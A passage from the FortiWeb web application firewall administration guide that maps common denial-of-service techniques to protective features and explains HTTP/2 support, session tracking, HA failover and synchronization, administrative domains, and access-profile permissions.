Botnet	Utilizes zombies previously exploited or infected (or willingly participating), distributed usually globally, to simultaneously overwhelm the target when directed by the command and control server(s). Well-known	IP Reputation (page 267)

Attack Technique	Description	FortiWeb Solution
	examples include LOIC, HOIC, and Zeus.	
Low-rate DoS	Exploits TCP's retransmission time-out (RTO) by sending short-duration, high-volume bursts repeated periodically at slower RTO time-scales. This causes a TCP flow to repeatedly enter a RTO state and significantly reduces TCP throughput.	• TCP Connection Number Limit (page 615) (TCP flood prevention) • HTTP Request Limit/sec (page 612) (HTTP flood prevention) • TCP Connection Number Limit (page 609)(malicious IP prevention)
Slow POST attack	Sends multiple HTTP <code>POST</code> requests with a legitimate <code>Content-Length</code> field. This tells the web server how much data to expect. Each <code>POST</code> message body is then transmitted at an unusually slow speed to keep the connection from timing out, and thereby consuming sockets.	• URL Access (page 266) • Allow Method (page 267)
Slowloris	Slowly but steadily consumes all available sockets by sending partial HTTP requests sent at regular intervals. Each HTTP header is never finished by a new line (<code>\r\n</code>) according to the specification, and therefore the server waits for the client to finish, keeping its socket open. This slowly consumes all sockets on a web server without a noticeable spike on new TCP/IP connections or bandwidth. Not all web servers are vulnerable, and susceptibility can vary by configuration. Default Apache configurations may be more vulnerable than a server like nginx that is designed for high concurrency.	• Header Length (page 569) • Number of Header Lines in Request (page 572)
SYN flood	Sends a stream of TCP <code>SYN</code> packets. The target server acknowledges each <code>SYN</code> and waits for a response (<code>ACK</code>). Rather than respond, the attacker sends more <code>SYN</code> packets, leaving each connection half-open, not fully formed, so that it may not register on systems that only monitor fully formed connections. Since each half-formed connection requires RAM to remember this state while awaiting buildup/tear-down, many <code>SYN</code> signals eventually consume available RAM or sockets.	Syn Cookie (page 281)

HTTP/2 support

If the FortiWeb is deployed in Reverse Proxy (see ["Topology for Reverse Proxy mode"](#) on page 104) or True Transparent Proxy (see ["Topology for either of the transparent modes"](#) on page 106) mode, HTTP/2 web communication can be protected by the following FortiWeb's security services:

- Session Management (see ["Session Management"](#) on page 262)
- Attack Signature (see ["Blocking known attacks & data leaks"](#) on page 505)
- Cookie Security (see ["Protecting against cookie poisoning and other cookie-based attacks"](#) on page 501)
- HTTP Protocol Constraints (see ["HTTP/HTTPS protocol constraints"](#) on page 568)

Note: HTTP/2 traffic will bypass the other security services (even if the services are well-configured).

How to enable HTTP/2 support

Deployment in Reverse Proxy mode

When the FortiWeb is operating in Reverse Proxy mode, it provides the end-to-end HTTP/2 security which requires both clients and back-end servers running HTTP/2. Moreover, if the back web servers do not support HTTP/2, FortiWeb (in Reverse Proxy mode) provides the HTTP/2 protections also with conversion protocols between HTTP/2 clients and HTTP/1.1 back-end servers. This allows customers to enjoy HTTP/2 benefits without having to upgrade their back web servers. Therefore, when the FortiWeb is operating in Reverse Proxy mode, it requires two necessary configurations for the HTTP/2 security:

- **Server Policy:** Enable **HTTP/2** in a **Server Policy** (see [HTTP/2](#) (page 282)), so that HTTP/2 can be negotiated between FortiWeb and clients via SSL ALPN (Application-Layer Protocol Negotiation) during the SSL handshake, if the client's browser supports HTTP/2 protocol. Then, FortiWeb can recognize HTTP/2 traffic and apply the security services to it.
- **Server Pool:** Enable **HTTP/2** for a **Server Pool** (see [HTTP/2](#) (page 401)) if your back-end web servers are running HTTP/2. This indicates HTTP/2 communication between FortiWeb and the backend servers in the server pool. HTTP/2 Traffic processed by FortiWeb will be forwarded to the back web servers through HTTP/2. However, if your web servers do not support HTTP/2, keep the option disabled and FortiWeb will convert the processed HTTP/2 traffic to HTTP/1.x and forward it to the backend servers. **Please note that enable this only if your back web servers really support HTTP/2, or connections will go failed.**



When FortiWeb is in Reverse Proxy mode, HTTP Content Routing will be not supported if HTTP/2 security inspection is enabled. For details, see ["Routing based on HTTP content"](#) on page 408.

Deployment in True Transparent Proxy mode

Conversion between HTTP/2 clients and HTTP/1.1 back-end servers is not available when the FortiWeb is operating in True Transparent Proxy mode. Therefore, FortiWeb's HTTP/2 inspection must work with the back web servers that really support HTTP/2. When your FortiWeb is operating in True Transparent Proxy mode, only one configuration is required to enable the HTTP/2 support:

- **Server Pool:** Enable **SSL** and **HTTP/2** in a Server Pool (see ["To configure a server pool"](#) on page 397). Please make sure your back-end web servers are running HTTP/2, or no HTTP/2 connections will be established between clients and the back servers and enabling HTTP/2 support on the FortiWeb will be kind of meaningless.

Note: FortiWeb only supports HTTP/2 for HTTPS (SSL) connections (most browsers support HTTP/2 for only HTTPS). Therefore, for deployment in Reverse Proxy or True Transparent Proxy mode, HTTPS or SSL on the FortiWeb must be enabled for HTTP/2.

HTTP sessions & security

The HTTP 1.1 protocol itself is **stateless** (e.g., has no inherent support for persistent **sessions**). Yet many web applications **add** sessions to become stateful.

What is a session? What is statefulness?

How do they impact security on the web?

Sessions are a correlation of requests for individual web pages/data ("hits") into a sense of an overall "visit" for a client during a time span, but also retain some memory between events. They typically consist of a session ID coupled with its data indicating current state. Classic examples include logins, showing previously viewed items, and shopping carts.

The reason why HTTP applications must add sessions is related to how software works: software often changes how it appears or acts based upon:

- Input you supply (e.g. a mouse click or a data file)
- System events (e.g. time or availability of a network connection)
- Current state (i.e. the product of previous events—history)

At each time, some inputs/actions are known to be valid and possible, while others are not. **Without memory of history to define the current context, which actions are valid and possible, and therefore how it should function, cannot be known.**

When software cannot function without memory, it is **stateful**. Many important features—denying access if a person is not currently logged in, for example, or shipping what has been added to a shopping cart—are stateful, and therefore **can't** be supported by purely stateless HTTP according to the original RFC. Such features require that web apps augment the HTTP protocol by adding a notion of session memory via:

- Cookies per RFC 2965 (<http://tools.ietf.org/html/rfc2965>)
- Hidden inputs
- Server-side sessions
- Other means (see "[Authentication styles](#)" on page 340)


Because memory is an accumulation of input, sessions have security implications.

- Can a different client easily forge another session?
- Are session IDs reused in encrypt form data, thereby weakening the encryption?
- Are session histories used to check for invalid next URLs or inputs (**state transitions**)?


When sessions are not protected to prevent misuse, attackers can use software in unexpected ways to expose vulnerabilities.

For example, let's say there is a vending machine full of snacks. You must first insert the proper amount of money before the machine will give you a selected snack. If you provide an insufficient amount of money for the selected snack, the machine will do nothing.

The vending machine is designed so that it **must** be in a state in which it has received enough money before it will dispense the snack (or return your change).



If the vending machine has no notion of states, it would dispense free snacks or change regardless of whether it had received any money. While free snacks might make some hungry people happy, it's not the intended behavior. We would say that the vending machine is broken.



Similar to the **working** vending machine, in the TCP protocol, a connection cannot be acknowledged (`ACK`) or data sent (`PSH`) before the connection has been initiated (`SYN`). There is a definite order to valid operations, based upon the operation that preceded it. If a connection is not already established—not in a state to receive data—then the receiver will disregard it.


Similar to the **broken** vending machine, the naked HTTP protocol has no idea what the previous HTTP request was, and therefore no way to predict what the next one might be. Nothing is required to persist from one request to the next. While this was adequate at the time when HTTP was initially designed, when it purely needed to retrieve static text or HTML documents, as the World Wide Web evolved, this was no longer enough. Static pages evolved into dynamic CGI-generated and JavaScripted pages. Dynamic pages use programs to change the page. Scripted pages eventually evolved to fully-fledged multimedia web applications with their own client-server architecture. As pages became software in their own right, a need for sessions arose.

When a web application has its own native authentication, the session may correspond directly with its authentication logs—server-side sessions may start with a login and end with a logout/session timeout. Within each session, there are contexts that the software can use to determine which operations make sense. For example, for each live session, a web application might remember:

- Who is the client? What is his/her user name?
- Where is the client?
- What pages has the client already seen today?
- What forms has the client already completed?

However, sessions alone are **not** enough to ensure that a client's requested operations make sense. The client's next page request in the session could break the web application's logic unless requests are restricted to valid ones.

For example, a web application session may remember that a client has authenticated to it. But unless the web application **also** knows what pages a client is authorized to use, there might be nothing to prevent a client from accessing unauthorized content.



If a web application doesn't **enforce** valid state transitions and guard session IDs and cookies from fraud (including side-jacking attacks made famous by Firesheep) or cookie poisoning, web applications become vulnerable to state transition-based attacks—attacks in which pages are requested out of the expected order, by a different client, or where inputs used for the next page are not as expected. While many web applications reflect business logic in order to function, not all applications validate state transitions to enforce application logic. Other web applications do attempt to enforce the software's logic, but do not do so effectively. In other cases, the state enforcement itself has bugs. **These are all common causes of security vulnerabilities.**



Similar to plain HTTP, SSL/TLS also keeps track of what steps the client has completed in encryption negotiation, and what the agreed keys and algorithms are. These HTTPS sessions are separate from, and usually in addition to, HTTP sessions. Attacks on SSL/TLS sessions are also possible, such as the SPDY protocol/Deflate compression-related CRIME attack.

FortiWeb sessions vs. web application sessions

FortiWeb can add its own sessions to enforce the logic of your web applications, thereby hardening their security, even without applying patches.



Your web application may have its own sessions data—one or more. These are **not** the same as FortiWeb sessions, **unless** FortiWeb is operating in a mode that does not support FortiWeb session cookies, and therefore uses your web application's own sessions as a cue (see [Session Key](#) (page 272)).

FortiWeb does **not** replace or duplicate sessions that may already be implemented in your web applications, such as the `JSESSIONID` parameter common in Java server pages (JSP), or web applications' session cookies such as the `TWIKISID` cookie for Twiki wikis.

However, it can protect those sessions. To configure protection for your web application's own sessions, see options such as [Cookie Security Policy](#) (page 265), [Parameter Validation](#) (page 265), and [Hidden Fields Protection](#) (page 266).

For example, to reinforce authentication logic, you might want to require that a client's first HTTP request always be a login page. All other web pages should be inaccessible until a client has authenticated, because out-of-order requests could be an attempt to bypass the web application's authentication mechanism.


How can FortiWeb know if a request is the client's first HTTP request? If FortiWeb were to treat each request independently, without knowledge of anything previous, it would not be able to remember the authentication request, and therefore could not enforce page order.

To fill this need for context, enable [Session Management](#) (page 262). When enabled:

1. For the first HTTP/HTTPS request from a client, FortiWeb embeds a cookie in the response's `Set-Cookie:` field in the HTTP header. It is named `cookiesession1`. (FortiWeb does not use source IP addresses and timestamps alone for sessions: NAT can cloak multiple clients; clocks can be altered.)

If you have configured rules such as start page rules that are enforced when a page request is the first in a session, FortiWeb can enforce them at the specified point. For details, see ["Specifying URLs allowed to initiate sessions"](#) on page 548.

2. Later requests from the same client must include this same cookie in the `Cookie:` field to be regarded as part of the same session. Otherwise, the request will be regarded as session-initiating, and return to the first step.



Once a request's session is identified by the session ID in this cookie (e.g. K8BXT3TNYUM710UEGWC8IQBTPX9PRWHB), FortiWeb can perform any configured tracking or enforcement actions that are based upon the requests that it remembers for that session ID, such as rate limiting per session ID per URL (see ["Limiting the total HTTP request rate from an IP"](#) on page 605), or based upon the order of page requests in a session, such as page order rules (see ["Enforcing page order that follows application logic"](#) on page 544). Violating traffic may be dropped or blocked, depending on your configuration.

3. After some time, if the FortiWeb has not received any more requests, the session will time out.

The next request from that client, even if it contains the old session cookie, will restart the process at step 1. For the first HTTP/HTTPS request from a client, FortiWeb embeds a cookie in the response's Set-Cookie: field in the HTTP header. It is named cookiesession1. (FortiWeb does not use source IP addresses and timestamps alone for sessions: NAT can cloak multiple clients; clocks can be altered.).



Exceptions to this process include network topologies and operation modes that do not support FortiWeb session cookies: instead of adding its own cookie, which is not possible, FortiWeb can instead cue its session states from your web application's cookie. See [Session Key](#) (page 272).

Traffic logs include the HTTP/HTTPS session ID so you can locate all requests in each session. Correlating requests by session ID can be useful for forensic purposes, such as when analyzing an attack from a specific client, or when analyzing web application behavior that occurs during a session so that you can design an appropriate policy to protect it. For details, see [Viewing log messages](#) (page 706).

Sessions & FortiWeb HA

The table of FortiWeb client session histories is **not** synchronized between HA members. If a failover occurs, the new active appliance will recognize that old session cookies are from a FortiWeb, and will allow existing FortiWeb sessions to continue. Clients' existing sessions will not be interrupted.



Because the new active appliance does not know previous session history, after failover, for existing sessions, FortiWeb cannot enforce actions that are based on:

- The order of page requests in that session ID's history, such as page order rules. For details, see ["Enforcing page order that follows application logic"](#) on page 544.
- The count or rate of requests that it remembers for that session ID, such as rate limiting per session ID per URL. For details, see ["Limiting the total HTTP request rate from an IP"](#) on page 605.

New sessions will be formed with the current main appliance.

For details about what data and settings are synchronized by HA, see ["HA heartbeat & synchronization"](#) on page 76 and ["Configuration settings that are not synchronized by HA"](#) on page 78.


Example: Magento & FortiWeb sessions during failover

A client might connect through a FortiWeb HA pair to an e-commerce site. The site runs Magento, which sets cookies in a server pool. To prevent session stealing and other session-based attacks, Magento can track its own cookies and validate session information in `$_SESSION` using server-side memory.

In the FortiWeb HA pair that protects the server pool, you have enabled [Session Management](#) (page 262) so that the active appliance (FortiWeb A) **also** adds its own cookie to the HTTP response from Magento. The HTTP response therefore contains 2 cookies:

- Magento's session cookie
- FortiWeb's session cookie


The next request from the client echoes **both** cookies. It is for an authorized URL, so FortiWeb A permits the website to respond.



Let's say you then update FortiWeb A's firmware. During the update, the standby appliance (FortiWeb B) briefly assumes the role of the active appliance while FortiWeb A is applying the update and rebooting (e.g., a failover occurs).

After the failover, FortiWeb B would receive the next HTTP request in the session. Because it was previously the standby when the client initiated the session, and FortiWeb session tables are **not** synchronized, FortiWeb B has **no knowledge** of the FortiWeb session cookie in this request.

As a result, it cannot enforce sequence-specific features such as page order, since it does not know the session history. However, a FortiWeb session cookie is present. Therefore FortiWeb B **would** permit the new request (assuming that it has no policy violations).



Since web application sessions are not the same as FortiWeb sessions, Magento sessions continue and are unaffected by the failover.

If the client deletes their FortiWeb session cookie or it times out, FortiWeb B regards the next request as a new FortiWeb session, adding a new FortiWeb session cookie to Magento's response and creating an entry in FortiWeb B's session table, enabling it to enforce page order and start page rules again.

HA heartbeat & synchronization

You can group multiple FortiWeb appliances together as a high availability (HA) cluster (see "[Configuring a high availability \(HA\) FortiWeb cluster](#)" on page 137). The **heartbeat** traffic indicates to other appliances in the HA cluster that the appliance is up and "alive." **Synchronization** ensures that all appliances in the cluster remain ready to process traffic, even if you only change one of the appliances.

Heartbeat and synchronization traffic between cluster appliances occurs over the physical network ports selected in [Heartbeat Interface](#) (page 146). Heartbeat traffic uses multicast on port number 6065 and the IP address 239.0.0.1. Synchronization traffic uses TCP on port number 6010 and a reserved IP address. The HA IP addresses are hard-coded and cannot be modified.



Ensure that switches and routers that connect to heartbeat interfaces are configured to allow level2 frames. See ["Heartbeat packet Ethertypes"](#) on page 80.

Failover is triggered by any interruption to either the heartbeat **or** a port monitored network interface whose length of time exceeds your configured limits ([Detection Interval](#) (page 145) and [Heartbeat Lost Threshold](#) (page 145)). When the active ("main") appliance becomes unresponsive, the standby appliance:

1. Assumes the virtual MAC address of the failed primary unit and broadcasts ARP/NS packets so that other equipment in the network will refresh their MAC forwarding tables and detect the new primary unit
2. Assumes the role of the active appliance and scans network traffic

To keep the standby appliance ready in case of a failover, HA pairs also use the heartbeat link to automatically synchronize most of their configuration. Synchronization includes:

- Core CLI-style configuration file (`fwb_system.conf`)
- X.509 certificates, certificate request files (CSR), and private keys
- HTTP error pages
- FortiGuard IRIS Service database
- FortiGuard Security Service files (attack signatures, predefined data types & suspicious URLs, known web crawlers & content scrapers, global white list, vulnerability scan signatures)
- FortiGuard Antivirus signatures
- Geography-to-IP database

and occurs immediately when an appliance joins the cluster, and thereafter every 30 seconds.

Although they are not automatically synchronized for performance reasons due to large size and frequent updates, you can manually force HA to synchronize. For instructions, see `execute ha synchronize` in the *FortiWeb CLI Reference* (<http://docs.fortinet.com/fortiweb/reference>). For a list of settings and data that is **not** synchronized, see ["Data that is not synchronized by HA"](#) on page 77 and ["Configuration settings that are not synchronized by HA"](#) on page 78.



If you do not want to configure HA (perhaps you have a separate network appliance implementing HA externally), you can still replicate the FortiWeb's configuration on another FortiWeb appliance. For details, see ["Replicating the configuration without FortiWeb HA \(external HA\)"](#) on page 149

See also

- ["Configuring a high availability \(HA\) FortiWeb cluster"](#) on page 137
- ["Replicating the configuration without FortiWeb HA \(external HA\)"](#) on page 149

Data that is not synchronized by HA

In addition to the HA configuration, some data is also **not** synchronized.

- **FortiWeb HTTP sessions**—FortiWeb appliances can use cookies to add and track its own sessions, functionality that is not inherently provided by HTTP. For details, see ["HTTP sessions & security"](#) on page 70. This state-tracking data corresponds in a 1:1 ratio to request volume, and therefore can change very rapidly. To minimize the performance impact on an HA cluster, this data is not synchronized.



Failover will **not** break web applications' existing sessions, which do not reside on the FortiWeb, and are not the same thing as FortiWeb's own HTTP sessions. The new active appliance will allow existing web application sessions to continue. For details, see ["FortiWeb sessions vs. web application sessions"](#) on page 72.

FortiWeb sessions are used by some FortiWeb features. **After a failover, these features may not work, or may work differently, for existing sessions.**

(New sessions are not affected.) See the description for each setting that uses session cookies. For details, see ["Sessions & FortiWeb HA"](#) on page 74.

Note: All sessions that are shorter than 30 seconds will not be synchronized. Only sessions that have been established for longer than 30 seconds will be synchronized.

- **SSL/TLS sessions**—HTTPS connections are stateful in that they must be able to remember states such as the security associations from the SSL/TLS handshake: the mutually supported cipher suite, the agreed parameters, and any certificates involved. Encryption and authentication in SSL/TLS cannot function without this. However, a new primary FortiWeb's lack of existing HTTPS session information is gracefully handled by re-initializing the SSL/TLS session with the client. This does not impact to the encapsulated HTTP application, has only an initial failover impact during re-negotiation, and therefore is not synchronized.
- **Log messages**—These describe events that happened on that specific appliance. After a failover, you may notice that there is a gap in the original active appliance's log files that corresponds to the period of its downtime. Log messages created during the time when the standby was acting as the active appliance (if you have configured local log storage) are stored there, on the original standby appliance. For details about configuring local log storage, see ["Configuring logging"](#) on page 693.
- **Generated reports**—Like the log messages that they are based upon, PDF, HTML, RTF, and plain text reports also describe events that happened on that specific appliance. As such, report settings are synchronized, but report output is not. For details about this feature, see ["Reports"](#) on page 720.
- **Auto-learning data**—Auto-learning is a resource-intensive feature. To minimize the performance impact on an HA cluster, this data is not synchronized. For details about this feature, see ["Auto-learning"](#) on page 202.

See also

- ["Configuring a high availability \(HA\) FortiWeb cluster"](#) on page 137
- ["Configuration settings that are not synchronized by HA"](#) on page 78
- ["HA heartbeat & synchronization"](#) on page 76

Configuration settings that are not synchronized by HA

All configuration settings on the active FortiWeb are synchronized to the standby FortiWeb except these settings:

Operation mode

You must set the operation mode of each HA group member before configuring HA. For details, see ["Setting the operation mode"](#) on page 135.

Host name	The host name distinguishes each member of the FortiWeb HA cluster. For details, see "Changing the FortiWeb appliance's host name" on page 662.
Network interfaces (Reverse Proxy or Offline Protection mode only) or Bridge (True Transparent Proxy or Transparent Inspection mode only)	Only the FortiWeb appliance acting as the main appliance, actively scanning web traffic, is configured with IP addresses on its network interfaces (or bridge). The standby appliance only uses the configured IP addresses if a failover occurs, and the standby appliance therefore assumes the role of the main appliance. For details, see "Configuring the network interfaces" on page 164 or "Configuring a bridge (V-zone)" on page 171. If you have configured a reserved management port for a cluster member, that configuration, including administrative access and other settings, is not synchronized.
RAID level	RAID settings are hardware-dependent and determined at boot time by looking at the drives (for software RAID) or the controller (hardware RAID), and are not stored in the system configuration. Therefore, they are not synchronized. For details, see "RAID level & disk statuses" on page 690.
HA active status and priority	The HA configuration, which includes Device Priority (page 144), is not synchronized because this configuration must be different on the primary and secondary appliances.

See also

- ["Data that is not synchronized by HA"](#) on page 77
- ["Configuring a high availability \(HA\) FortiWeb cluster"](#) on page 137
- ["HA heartbeat & synchronization"](#) on page 76

How HA chooses the active appliance

An HA pair may or may not resume their active and standby roles when the failed appliance resumes responsiveness to the heartbeat.

Since the current active appliance will by definition have a greater uptime than a failed previous active appliance that has just returned online, assuming each has the same number of available ports, the current active appliance usually retains its status as the active appliance, **unless Override** (page 144) is enabled. If **Override** (page 144) is enabled, and if **Device Priority** (page 144) of the returning appliance is higher, it will be elected as the active appliance in the HA cluster.

If [Override](#) (page 144) is disabled, HA considers (in order):**1. The most available ports**

For example, if two FortiWeb appliances, FWB1 and FWB2, were configured to monitor two ports each, and FWB2 has just one port currently available according to [Port Monitor](#) (page 145), FWB1 would become the active appliance, regardless of uptime or priority. But if both had 2 available ports, this factor alone would not

be able to determine which appliance should be active, and the HA cluster would proceed to the next consideration.

2. The highest uptime value

Uptime is reset to zero if an appliance fails, or the status of any monitored port (per **Port Monitor** (page 145)) changes.

3. The smallest **Device Priority** (page 144) number (that is, 0 has the highest priority)

4. The highest-sorting serial number



Serial numbers are sorted by comparing each character from left to right, where 9 and z are the greatest values, and result in highest placement in the sorted list.

If **Override** (page 144) is enabled, HA considers (in order):

1. The most available ports

2. The smallest **Device Priority** (page 144) number (that is, 0 has the highest priority)

3. The highest uptime value

4. The highest-sorting serial number

If the heartbeat link occurs through switches or routers, and the active appliance is very busy, it might require more time to establish a heartbeat link through which it can negotiate to elect the active appliance. You can configure the amount of time that a FortiWeb appliance will wait after it boots to establish this connection before assuming that the other appliance is unresponsive, and that it should become the active appliance. For details, see the `boot-time <seconds_int>` setting in the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

See also

- "Configuring a high availability (HA) FortiWeb cluster" on page 137
- "Replicating the configuration without FortiWeb HA (external HA)" on page 149

Heartbeat packet Ethertypes

Normal IP packets are 802.3 packets that have an Ethernet type (Ethertype) field value of 0x0800. Ether type values other than 0x0800 are understood as level2 frames rather than IP packets.

By default, HA heartbeat packets use the following Ethertypes, which are hard-coded and cannot be configured:

- **Ether type 0x8890**—For HA heartbeat packets that cluster members use to find other cluster member and to verify the status of other cluster members while the cluster is operating.
- **Ether type 0x8893**—For HA sessions that synchronize the cluster configurations.

Because heartbeat packets are recognized as level2 frames, the switches and routers that connect to heartbeat interfaces require a configuration that allows them. If these network devices drop level2 frames, they prevent heartbeat traffic between the members of the cluster.

In some cases, if you connect and configure the heartbeat interfaces so that regular traffic flows but heartbeat traffic is not forwarded, you can change the configuration of the switch that connects the HA heartbeat interfaces to allow level2 frames with Ethertypes 0x8890 and 0x8893 to pass.

Administrative domains (ADOMs)

Administrative domains (ADOMs) enable the `admin` administrator to constrain other FortiWeb administrators' access privileges to a subset of policies and protected host names. This can be useful for large enterprises and multi-tenant deployments such as web hosting.

ADOMs are **not** enabled by default. Enabling and configuring administrative domains can only be performed by the `admin` administrator.

Enabling ADOMs alters the structure of and the available functions in the GUI and CLI, according to whether or not you are logging in as the `admin` administrator, and, if you are **not** logging in as the `admin` administrator, the administrator account's assigned access profile.

Differences between administrator accounts when ADOMs are enabled

	<code>admin</code> administrator account	Other administrators
Access to <code>config global</code>	Yes	No
Can create administrator accounts	Yes	No
Can create & enter all ADOMs	Yes	No

If ADOMs are enabled and you log in as `admin`, a superset of the typical CLI commands appear, allowing unrestricted access and ADOM configuration.

`config global` contains settings used by the FortiWeb itself and settings shared by ADOMs, such as RAID and administrator accounts. It does not include ADOM-specific settings or data, such as logs and reports. When configuring other administrator accounts, an additional option appears allowing you to restrict other administrators to an ADOM.

If ADOMs are enabled and you log in as any other administrator, you enter the ADOM assigned to your account. A subset of the typical menus or CLI commands appear, allowing access only to only logs, reports, policies, servers, and LDAP queries specific to your ADOM. You cannot access global configuration settings, or enter other ADOMs.

By default, administrator accounts other than the `admin` account are assigned to the `root` ADOM, which includes all policies and servers. By creating ADOMs that contain a subset of policies and servers, and assigning them to administrator accounts, you can restrict other administrator accounts to a subset of the FortiWeb's total protected servers.

The `admin` administrator account cannot be restricted to an ADOM. Other administrators are restricted to their ADOM, and cannot configure ADOMs or global settings.

To enable ADOMs

1. Log in with the `admin` account.

Other administrators do not have permissions to configure ADOMs.



Back up your configuration. Enabling ADOMs changes the structure of your configuration, and moves non-global settings to the `root` ADOM. For details about how to back up the configuration, see ["Backups"](#) on page 324.

2. Go to **System > Status > Status**. From the **System Information** widget, in the **Administrative Domains** row, click **Enable**.

FortiWeb terminates the session.

3. Log in again.

When ADOMs are enabled, and if you log in as `admin`, the navigation menu on the left changes: the top level lists two ADOM items: **Global** and **root**.

Global contains settings that only `admin` or other accounts with the **prof_admin** access profile can change.

root is the default ADOM.

This menu and CLI structure change is not visible to non-global accounts; ADOM administrators' navigation menus continue to appear similar to when ADOMs are disabled, except that global settings such as network interfaces, HA, and other global settings do not appear.

4. Continue by defining ADOMs. For details, see ["Defining ADOMs"](#) on page 82.

To disable ADOMs

1. Delete all ADOM administrator accounts.



Back up your configuration. Disabling ADOMs changes the structure of your configuration, and deletes most ADOM-related settings. It keeps settings from the `root` ADOM only. For details about how to back up the configuration, see ["Backups"](#) on page 324.

2. Go to **System > Status > Status**, then in the **System Information** widget, in the **Administrative Domains** row, click **Disable**.
3. Continue by reconfiguring the appliance. For details, see ["How to set up your FortiWeb"](#) on page 97.

See also

- ["Permissions"](#) on page 85
- ["Defining ADOMs"](#) on page 82
- ["Assigning administrators to an ADOM"](#) on page 84
- ["Administrators"](#) on page 330
- ["Configuring access profiles"](#) on page 333

Defining ADOMs

Some settings can only be configured by the `admin` account—they are **global**. Global settings apply to the appliance overall regardless of ADOM, such as:

- Operation mode
- Network interfaces

- System time
- Backups
- Administrator accounts
- Access profiles
- FortiGuard connectivity settings
- HA and configuration sync
- SNMP
- RAID
- Vulnerability scans
- `exec ping` and other global operations that exist only in the CLI

Only the `admin` account can configure global settings.



In the current release, some settings, such as user accounts for HTTP authentication, anti-defacement, and logging destinations are read-only for ADOM administrators. Future releases will allow ADOM administrators to configure these settings separately for their ADOM.

Other settings can be configured separately for each ADOM. They essentially define each ADOM. For example, the policies of `adom-A` are separate from `adom-B`.

Initially, only the `root` ADOM exists, and it contains settings such as policies that were global before ADOMs were enabled. Typically, you will create additional ADOMs, and few if any administrators will be assigned to the `root` ADOM.

After ADOMs are created, the `admin` account usually assigns other administrator accounts to configure their ADOM-specific settings. However, as the `root` account, the `admin` administrator does have permission to configure all settings, including those within ADOMs.

To create an ADOM

1. Log in with the `admin` account.

Other administrators do not have permissions to configure ADOMs.

2. Go to **Global > System > Administrative Domain > Administrative Domain**.



The maximum number of ADOMs you can add varies by your FortiWeb model. The number of ADOMs is limited by available physical memory (RAM), and therefore also limits the maximum number of policies and sessions per ADOM. See ["Appendix B: Maximum configuration values"](#) on page 817.

3. Click **Create New**, enter the **Name**, then click **OK**.

The new ADOM exists, but its settings are not yet configured. Alternatively, to configure the default `root` ADOM, click **root**.

4. Do one of the following:

- assign another administrator account to configure the ADOM (continue with ["Assigning administrators to an ADOM"](#) on page 84), or

- configure the ADOM yourself: in the navigation menu on the left, click the ADOM list on the top level to display all the ADOMs, click the name of the new ADOM, then configure its policies and other settings as usual.

See also

- ["Assigning administrators to an ADOM"](#) on page 84
- ["Administrative domains \(ADOMs\)"](#) on page 81
- ["Administrators"](#) on page 330
- ["Configuring access profiles"](#) on page 333
- ["Permissions"](#) on page 85

Assigning administrators to an ADOM

The `admin` administrator can create other administrators and assign their account to an ADOM, constraining them to that ADOM's configurations and data.

To assign an administrator to an ADOM

1. If you have not yet created any administrator access profiles, create at least one. For details, see ["Configuring access profiles"](#) on page 333.
2. In the administrator account's [Access Profile](#) (page 332), select the new access profile.
(Administrators assigned to the `prof_admin` access profile will have global access. They cannot be restricted to an ADOM.)
3. In the administrator account's [Administrative Domain](#) (page 333), select the account's assigned ADOM. Currently, in this version of FortiWeb, administrators cannot be assigned to more than one ADOM.

See also

- ["Administrators"](#) on page 330
- ["Configuring access profiles"](#) on page 333
- ["Defining ADOMs"](#) on page 82
- ["Permissions"](#) on page 85

How to use the web UI

This topic describes aspects that are general to the use of the web UI, a graphical user interface (GUI) that provides access the FortiWeb appliance from within a web browser.

System requirements

The management computer that you use to access the web UI must have:

- A compatible web browser, such as Microsoft Internet Explorer 6.0 or greater, or Mozilla Firefox 3.5 or greater
- Adobe Flash Player 10 or greater plug-in

To minimize scrolling, the computer's screen should have a resolution that is a minimum of 1280 x 1024 pixels.

URL for access

For first-time connection, see ["Connecting to the web UI"](#) on page 114.

The default URL to access the web UI through the network interface on port1 is:

`https://192.168.1.99`

If the network interfaces were configured during installation of the FortiWeb appliance (see ["Configuring the network settings"](#) on page 162), the URL and/or permitted administrative access protocols may no longer be in their default state. In that case, use either a DNS-resolvable domain name for the FortiWeb appliance as the URL, or the IP address that was assigned to the network interface during the installation process.

For example, you might have configured port2 with the IP address 192.0.2.155 and enabled HTTPS. You might have also configured a private DNS server on your network to resolve `FortiWeb.example.com` to 192.0.2.155. In this case, to access the web UI through port2, you could enter either `https://FortiWeb.example.com/` or `https://192.0.2.155/`.

For details about enabling administrative access protocols and configuring IP addresses for the FortiWeb appliance, see ["Configuring the network settings"](#) on page 162.



If the URL is correct and you still cannot access the web UI, you may also need to configure FortiWeb to accept login attempts for your administrator account from that computer (that is, trusted hosts), and/or static routes. For details, see ["Administrators"](#) on page 330 and ["Adding a gateway"](#) on page 178.

Permissions

Depending on the account that you use to log in to the FortiWeb appliance, you may not have complete access to all CLI commands or areas of the web UI.

Together, both:

- Access profiles and
- Administrative domains (ADOMs)

control which commands and settings an administrator account can use.

Access profiles assign either:

- **Read** (view access)
- **Write** (change and execute access)
- Both **Read** and **Write**
- No access

to each area of the FortiWeb software.

Similar to VDOMs on FortiGate, ADOMs on FortiWeb divide policies and other settings so that they each can be assigned to a different administrators.

Areas of control in access profiles

Access profile setting	Grants access to*	
Admin Users	System > Admin ... except Settings	Web UI
admingrp	config system admin config system accprofile	CLI
Auth Users	User ...	Web UI
authusergrp	config user ...	CLI
Autolearn Configuration	Auto Learn > Auto Learn Profile > Auto Learn Profile	Web UI
learngrp	config server-policy custom-application ... config waf web-protection-profile autolearning-profile Note: Because generating an auto-learning profile also generates its required components, this area also confers Write permission to those components in the Web Protection Configuration/wafgrp area.	CLI
Log & Report	Log & Report ...	Web UI
loggrp	config log ... execute formatlogdisk	CLI
Maintenance	System > Maintenance except System Time tab	Web UI
mntgrp	diagnose system ... execute backup ... execute factoryreset execute rebootexecute restore ... execute shutdown diagnose system flash ...	CLI
Network Configuration	System > Network ...	Web UI
netgrp	config system interface config system dns config system v-zone diagnose network ... except sniffer ...	CLI
Router Configuration	Router ...	Web UI
routegrp	config router ...	CLI

Access profile setting Grants access to*		
System Configuration	System ... except Network, Admin, and Maintenance tabs	Web UI
sysgrp	<pre> config system except accprofile, admin, dns, interface, and v-zone diagnose hardware ... diagnose network sniffer ... diagnose system ... except flash ... execute date ... execute ha ... execute ping ... execute ping-options ... execute traceroute ... execute time ... </pre>	CLI
